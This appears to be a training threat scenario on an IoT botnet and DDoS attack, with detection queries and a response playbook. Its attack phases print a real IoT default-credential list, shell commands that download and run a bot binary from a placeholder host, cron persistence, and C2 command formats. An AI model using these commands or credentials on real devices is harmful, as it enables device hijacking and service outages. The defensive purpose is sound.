Skip to content

SC-048: IoT Botnet Formation & DDoS Attack

Scenario Overview

A threat actor scans internet-facing IoT devices (IP cameras, home routers, DVRs) for default and weak credentials. After compromising thousands of devices, the attacker deploys botnet malware that establishes C2 communication via DNS-over-HTTPS and IRC channels. The botnet is then directed to launch a multi-vector DDoS attack against a target organization's web infrastructure, combining volumetric UDP floods, HTTP/2 request floods, and DNS amplification.

Environment: Target organization web infrastructure at 192.0.2.0/24; IoT devices across multiple consumer ISPs Initial Access: Default credentials on internet-facing IoT devices Impact: 48-hour service outage, estimated $1.8M revenue loss Difficulty: Intermediate Sector: E-Commerce / Retail


Attack Timeline

Timestamp (UTC) Phase Action
2026-02-20 (Day -23) Reconnaissance Mass scanning for IoT devices with open management ports
2026-02-22 (Day -21) Initial Access Credential brute-force against discovered devices
2026-02-25 (Day -18) Execution Deploys botnet agent on compromised devices
2026-03-01 (Day -14) C2 Establishment Bots check in via DNS-over-HTTPS and IRC
2026-03-05 (Day -10) Resource Development Botnet grows to ~12,000 compromised devices
2026-03-10 (Day -5) Reconnaissance Attacker probes target infrastructure for DDoS vectors
2026-03-15 14:00:00 Impact — Wave 1 UDP volumetric flood (380 Gbps peak)
2026-03-15 14:12:00 Impact — Wave 2 DNS amplification attack via open resolvers
2026-03-15 14:30:00 Impact — Wave 3 HTTP/2 request flood (4.2M RPS) targeting application layer
2026-03-15 16:45:00 Mitigation DDoS mitigation provider activated, traffic scrubbing begins
2026-03-17 14:00:00 Recovery Full service restoration after 48 hours

Technical Analysis

Phase 1: Reconnaissance — IoT Device Scanning

The attacker scans large IP ranges for devices with common management interfaces exposed to the internet.

# Reconnaissance scanning (reconstructed from honeypot logs)
# Targeted ports for IoT devices:
#   23    — Telnet (cameras, routers)
#   80    — HTTP admin panels
#   443   — HTTPS admin panels
#   554   — RTSP (IP cameras)
#   8080  — Alternate HTTP (DVRs, routers)
#   8443  — Alternate HTTPS
#   37215 — Huawei router admin
#   52869 — UPnP

# Scan source: 203.0.113.15 (attacker's scanning infrastructure)
# Observed in honeypot at 192.0.2.200:

# Telnet banner grab
# Connection from 203.0.113.15:48221
# Banner: "BusyBox v1.24.1 (2019-04-12) built-in shell"
# Login attempt: admin/admin -> SUCCESS

# HTTP probe
# GET /login.htm HTTP/1.1
# Host: 198.51.100.100
# Response: 200 OK (DVR management interface detected)

Phase 2: Initial Access — Default Credential Exploitation

The attacker uses a credential list targeting common IoT device default passwords.

# Default credential list used (top entries from honeypot analysis)
admin:admin
admin:password
admin:1234
root:root
admin:12345
root:admin
user:user
admin:default
root:vizxv
admin:888888
root:xc3511
admin:juantech
root:54321
support:support
# Brute-force script (reconstructed — educational only)
# Attacker iterates through discovered IPs with credential pairs

# Example Telnet brute-force attempt (from honeypot logs)
# Source: 203.0.113.15
# Target: 198.51.100.101 (IP camera)
# Attempt 1: admin/admin     -> FAILED
# Attempt 2: admin/password  -> FAILED
# Attempt 3: root/vizxv      -> SUCCESS
# Time between attempts: 2.3 seconds (rate-limited to avoid lockout)

# Successful compromise rate: ~8% of scanned devices
# Total scanned: ~150,000 devices
# Compromised: ~12,000 devices

Phase 3: Botnet Agent Deployment

After gaining access, the attacker deploys a lightweight botnet agent compiled for various IoT architectures (ARM, MIPS, x86).

# Post-compromise payload delivery (from honeypot capture)
# Executed via Telnet/SSH after successful login

cd /tmp
wget http://198.51.100.55/bins/bot.arm7 -O .sysupdate
chmod +x .sysupdate
./.sysupdate

# Persistence via crontab (if available)
echo "*/5 * * * * /tmp/.sysupdate" >> /var/spool/cron/crontabs/root

# Kill competing botnet agents
ps | grep -E '(mirai|gafgyt|hajime|mozi)' | grep -v grep | \
  awk '{print $1}' | xargs kill -9

# Block re-exploitation by closing management ports
iptables -A INPUT -p tcp --dport 23 -j DROP
iptables -A INPUT -p tcp --dport 2323 -j DROP

Phase 4: Command and Control

The botnet uses multiple C2 channels for resilience.

# C2 Infrastructure (synthetic)
Primary C2:   DNS-over-HTTPS queries to resolver.example.com
              Encoded commands in TXT record responses
              Domain: c2-updates.example.com

Secondary C2: IRC channel on irc.example.com:6697 (TLS)
              Channel: #sys-updates
              Bot nickname format: bot-[random8chars]

Fallback C2:  Hardcoded IP 203.0.113.30 on port 4443

# C2 beacon example (DNS-over-HTTPS):
GET https://resolver.example.com/dns-query?name=beacon.c2-updates.example.com&type=TXT
Response TXT: "v=status;cmd=idle;interval=300"

# Attack command example:
TXT response: "v=attack;target=192.0.2.10;port=443;method=httpflood;duration=7200"

Phase 5: DDoS Attack — Wave 1 (Volumetric UDP Flood)

# Attack characteristics — Wave 1
Type: UDP flood with randomized source ports
Target: 192.0.2.10 (primary web server)
Peak bandwidth: 380 Gbps
Packet rate: ~28 million PPS
Duration: 2 hours
Source IPs: ~12,000 unique IPs (botnet nodes)

# Sample traffic pattern (from target's upstream provider):
Src: [distributed - 12K+ IPs]
Dst: 192.0.2.10
Protocol: UDP
Dst Port: Random (1-65535)
Payload: Random bytes (512-1400 byte packets)
TTL: Varies (real source IPs, not spoofed)

Phase 6: DDoS Attack — Wave 2 (DNS Amplification)

# DNS amplification using open resolvers
# Attacker sends small DNS queries with spoofed source IP (target's IP)
# Open resolvers respond with large DNS responses to the target

# Amplification factor: ~54x (60-byte query → 3,200-byte response)
Query type: ANY (requesting all record types)
Query domain: large-zone.example.com (attacker's domain with many records)
Spoofed source: 192.0.2.10 (victim's IP)
Resolvers abused: ~2,800 open DNS resolvers

# Sample amplified response size:
Query:    60 bytes  → sent to open resolver
Response: 3,200 bytes → sent to victim (192.0.2.10)
Additional amplified bandwidth: ~95 Gbps

Phase 7: DDoS Attack — Wave 3 (Application Layer HTTP/2 Flood)

# HTTP/2 multiplexed request flood
Target: https://www.shop.example.com (e-commerce storefront)
IP: 192.0.2.10
Peak request rate: 4.2 million requests per second
Duration: 6 hours

# Attack characteristics:
# - Valid HTTP/2 connections with TLS handshake
# - Multiplexed streams (100+ concurrent streams per connection)
# - Randomized URL paths to bypass caching
# - Rotating User-Agent strings to appear legitimate
# - Slow-read technique: accept responses slowly to exhaust server connections

# Sample requests (from WAF logs):
GET /products/category/RANDOM_STRING_1?q=RANDOM HTTP/2
Host: www.shop.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml

GET /search?q=RANDOM_STRING_2&page=RANDOM_INT HTTP/2
Host: www.shop.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Accept: text/html,application/xhtml+xml

Detection Opportunities

KQL — Anomalous DNS Query Volume

// Detect sudden spikes in DNS queries indicating C2 beaconing or DNS amplification
DnsEvents
| where TimeGenerated > ago(24h)
| summarize
    QueryCount = count(),
    UniqueQueries = dcount(Name),
    UniqueSources = dcount(ClientIP)
    by bin(TimeGenerated, 5m)
| extend AvgBaseline = toscalar(
    DnsEvents
    | where TimeGenerated between (ago(7d) .. ago(1d))
    | summarize count() / (6 * 24 * 288.0)
  )
| where QueryCount > AvgBaseline * 5
| project TimeGenerated, QueryCount, AvgBaseline,
    Deviation = round((QueryCount - AvgBaseline) / AvgBaseline * 100, 1)
| sort by TimeGenerated desc

KQL — IoT Device Beaconing Pattern Detection

// Detect regular interval beaconing from IoT network segments
CommonSecurityLog
| where DeviceAction == "Allow"
| where SourceIP startswith "10.10.200."  // IoT VLAN
| summarize
    ConnectionCount = count(),
    AvgInterval = avg(datetime_diff('second', TimeGenerated, prev(TimeGenerated))),
    DestPorts = make_set(DestinationPort),
    BytesSent = sum(SentBytes)
    by SourceIP, DestinationIP, bin(TimeGenerated, 1h)
| where ConnectionCount > 12  // More than once every 5 min
| where array_length(DestPorts) == 1  // Single port = beaconing
| sort by ConnectionCount desc

KQL — DDoS Traffic Volume Spike

// Detect volumetric DDoS by monitoring inbound traffic anomalies
AzureNetworkAnalytics_CL
| where TimeGenerated > ago(1h)
| where FlowDirection_s == "I"  // Inbound
| summarize
    TotalBytes = sum(InboundBytes_d),
    TotalPackets = sum(InboundPackets_d),
    UniqueSourceIPs = dcount(SrcIP_s)
    by bin(TimeGenerated, 1m), DestIP_s
| where TotalBytes > 1000000000  // > 1 GB per minute
| where UniqueSourceIPs > 100
| project
    TimeGenerated,
    DestIP = DestIP_s,
    TrafficGB = round(TotalBytes / 1073741824.0, 2),
    PacketsMillion = round(TotalPackets / 1000000.0, 2),
    UniqueSourceIPs
| sort by TrafficGB desc

KQL — HTTP/2 Application Layer Flood

// Detect HTTP/2 flood via abnormal request rates
AzureDiagnostics
| where ResourceProvider == "MICROSOFT.CDN" or ResourceProvider == "MICROSOFT.NETWORK"
| where Category == "FrontDoorAccessLog" or Category == "ApplicationGatewayAccessLog"
| summarize
    RequestCount = count(),
    UniqueIPs = dcount(clientIp_s),
    UniquePaths = dcount(requestUri_s),
    ErrorRate = countif(httpStatusCode_d >= 500) * 100.0 / count()
    by bin(TimeGenerated, 1m)
| where RequestCount > 50000  // Abnormal request rate
| where ErrorRate > 20  // High error rate during flood
| sort by RequestCount desc

SPL — Default Credential Brute-Force Detection

index=network sourcetype="firewall"
  dest_port IN (23, 22, 80, 8080, 443, 554, 37215)
| stats count as attempts
        dc(dest_ip) as targets
        values(dest_port) as ports
        by src_ip
| where attempts > 100 AND targets > 10
| sort -targets
| head 20

SPL — DNS Amplification Detection

index=network sourcetype="dns"
  query_type="ANY"
| stats count as query_count
        sum(reply_size) as total_bytes
        dc(src_ip) as unique_sources
        by dest_ip
| where query_count > 1000
| eval amplification_gb = round(total_bytes / 1073741824, 2)
| sort -total_bytes

SPL — Botnet C2 Beaconing via DNS

index=dns sourcetype="stream:dns"
  query_type="TXT"
| stats count as txt_queries
        dc(query) as unique_queries
        values(query) as domains
        by src_ip
| where txt_queries > 50
| where unique_queries < 5
| eval beacon_ratio = txt_queries / unique_queries
| where beacon_ratio > 10
| sort -beacon_ratio

SPL — Volumetric DDoS Detection

index=network sourcetype="netflow"
  direction="inbound"
| bin _time span=1m
| stats sum(bytes) as total_bytes
        sum(packets) as total_packets
        dc(src_ip) as unique_sources
        by _time dest_ip
| eval traffic_gbps = round(total_bytes * 8 / 1000000000 / 60, 2)
| where traffic_gbps > 1
| where unique_sources > 100
| sort -traffic_gbps

SPL — HTTP Flood Detection

index=web sourcetype="access_combined"
| bin _time span=1m
| stats count as requests
        dc(clientip) as unique_ips
        dc(uri_path) as unique_paths
        avg(response_time) as avg_response_ms
        by _time
| where requests > 50000
| eval requests_per_ip = requests / unique_ips
| where requests_per_ip > 100
| sort -requests

Response Playbook

Immediate Containment (0-30 minutes)

  1. Activate DDoS mitigation service: Route traffic through scrubbing center (e.g., Cloudflare, Akamai, AWS Shield)
  2. Enable rate limiting on WAF/load balancer for HTTP requests
  3. Implement GeoIP blocking for regions with no legitimate users (if applicable)
  4. Block known botnet C2 IPs: 203.0.113.15, 203.0.113.30, 198.51.100.55 at upstream provider
  5. Enable TCP SYN cookies to handle SYN flood component
  6. Scale infrastructure: Auto-scale web servers and enable CDN caching

Eradication (30 minutes - 24 hours)

  1. Coordinate with upstream ISP to implement BGP Flowspec rules for volumetric traffic
  2. Block DNS amplification: Contact open resolver operators; implement BCP38 (source address validation)
  3. Deploy bot detection on WAF: JavaScript challenges, CAPTCHA for suspicious traffic patterns
  4. Analyze C2 infrastructure and submit takedown requests to hosting providers and registrars
  5. Share IOCs with industry ISACs and law enforcement (FBI IC3, CISA)
  6. Identify and notify compromised IoT device owners via ISP abuse contacts

Recovery (24-72 hours)

  1. Post-incident traffic analysis: Baseline normal traffic patterns for future anomaly detection
  2. Implement always-on DDoS protection (not just reactive)
  3. Deploy Anycast DNS to distribute DNS query load geographically
  4. Configure auto-scaling policies based on attack traffic patterns
  5. Develop DDoS response runbook with ISP and CDN provider contacts
  6. Implement IoT device security on corporate network: Separate VLAN, default credential scanning, firmware update policy
  7. Test DDoS resilience with controlled load testing quarterly

MITRE ATT&CK Mapping

Tactic Technique ID Technique Name Scenario Phase
Reconnaissance T1595.001 Active Scanning: Scanning IP Blocks IoT device discovery
Resource Development T1584.005 Compromise Infrastructure: Botnet Building IoT botnet
Initial Access T1110 Brute Force Default credential attacks
Execution T1059.004 Command and Scripting: Unix Shell Botnet agent deployment
Persistence T1053.003 Scheduled Task/Job: Cron Crontab persistence
Command and Control T1071.004 Application Layer Protocol: DNS DNS-over-HTTPS C2 beaconing
Command and Control T1071.001 Application Layer Protocol: Web Protocols HTTP-based C2
Impact T1498.001 Network DoS: Direct Network Flood UDP volumetric flood
Impact T1498.002 Network DoS: Reflection Amplification DNS amplification attack
Impact T1499.002 Endpoint DoS: Service Exhaustion Flood HTTP/2 application layer flood

Lessons Learned

  1. Default credentials remain the primary IoT attack vector: Despite years of awareness, millions of IoT devices remain deployed with factory default credentials. Network segmentation and default credential scanning are essential controls.

  2. Multi-vector DDoS requires layered defense: Volumetric attacks require upstream scrubbing (you cannot absorb 380 Gbps locally), while application-layer floods require WAF-level inspection. A single mitigation layer is insufficient.

  3. DNS-over-HTTPS complicates C2 detection: Traditional DNS monitoring does not see DoH traffic. Organizations need endpoint-level visibility or DoH-aware network inspection to detect this C2 channel.

  4. IoT devices on corporate networks are insider threats: A compromised camera or smart device on the corporate network is an attacker foothold. IoT devices should be isolated on dedicated VLANs with strict egress filtering.

  5. DDoS mitigation requires pre-established relationships: Activating a scrubbing service during an active attack is far slower than having always-on protection. The 2.75-hour gap between attack start and mitigation activation cost significant revenue.

  6. Amplification attacks exploit the commons: DNS amplification works because open resolvers exist. Organizations running recursive DNS resolvers should ensure they are not open to the internet (BCP38 compliance).


Cross-References